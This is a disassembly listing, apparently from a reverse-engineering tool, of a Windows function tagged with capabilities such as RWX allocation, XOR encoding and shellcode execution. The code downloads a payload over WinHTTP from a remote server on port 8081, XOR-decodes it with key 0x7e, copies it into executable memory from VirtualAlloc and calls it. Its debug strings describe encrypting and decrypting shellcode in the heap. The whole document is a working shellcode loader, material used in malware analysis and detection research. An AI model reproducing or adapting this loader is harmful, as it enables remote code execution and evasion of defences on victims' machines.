Function at 0x1400012b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm6, xmmword [str._]
xor esi, esi
mov dword [rsp + 0x4c], esi
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r13, rax
mov r8d, 0x1f91
xor r9d, r9d
lea rdx, [0x1400033d0]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [0x1400033d0]
lea rdx, [0x1400033d8]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r15, rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
nop dword [rax + rax]
mov dword [rsp + 0x48], esi
lea rdx, [rsp + 0x48]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov ecx, dword [rsp + 0x48]
inc ecx
call fcn.140001964
mov rbx, rax
mov r8d, dword [rsp + 0x48]
inc r8d
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x48]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x1400013f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400033e0]
call fcn.140001010
jmp 0x140001409
mov r9d, dword [rsp + 0x4c]
mov r8, rbx
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140001690
cmp dword [rsp + 0x48], 0
ja 0x140001390
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
sub rdi, rbp
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov r8d, esi
test rdi, rdi
je 0x140001459
mov rdx, rax
mov r9, rbp
sub r9, rax
nop word [rax + rax]
movzx ecx, byte [r9 + rdx]
xor cl, 0x7e
mov byte [rdx], cl
inc r8d
lea rdx, [rdx + 1]
movsxd rax, r8d
cmp rax, rdi
jb 0x140001440
lea rcx, str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x1400014a7
lea rcx, str.____VirtualAlloc_failed_n
call fcn.140001010
lea ecx, [r12 + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, r12
lea rcx, str.___Allocated_space_for_the_buffer__p_n
call fcn.140001010
test edi, edi
jle 0x14000153a
cmp edi, 0x40
jb 0x14000153e
mov ecx, edi
and ecx, 0x8000003f
jge 0x1400014d4
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, edi
sub eax, ecx
movsxd r8, eax
lea rcx, [r14 + 0x20]
mov rdx, 0xffffffffffffffe0
sub rdx, r14
nop dword [rax]
movdqu xmm0, xmmword [rcx - 0x20]
xorps xmm0, xmm6
movdqu xmmword [rcx - 0x20], xmm0
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
xorps xmm0, xmm6
movdqu xmmword [rcx + 0x10], xmm0
add esi, 0x40
lea rcx, [rcx + 0x40]
lea rax, [rdx + rcx]
cmp rax, r8
jl 0x1400014f0
cmp esi, edi
jge 0x14000155d
movsxd rcx, esi
add rcx, r14
mov edx, edi
sub edx, esi
nop dword [rax + rax]
xor byte [rcx], 0x7e
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001550
mov r8, rdi
mov rdx, r14
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
call fcn.140001210
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Decrypting_the_heap_n
call fcn.140001010
call fcn.140001210
mov rcx, rbx
call r12
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
test rbp, rbp
je 0x1400015f6
mov rdx, qword [rsp + 0x60]
sub rdx, rbp
mov rax, rbp
cmp rdx, 0x1000
jb 0x1400015ee
add rdx, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbp
call fcn.14000195c
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001900
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [rsp + 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret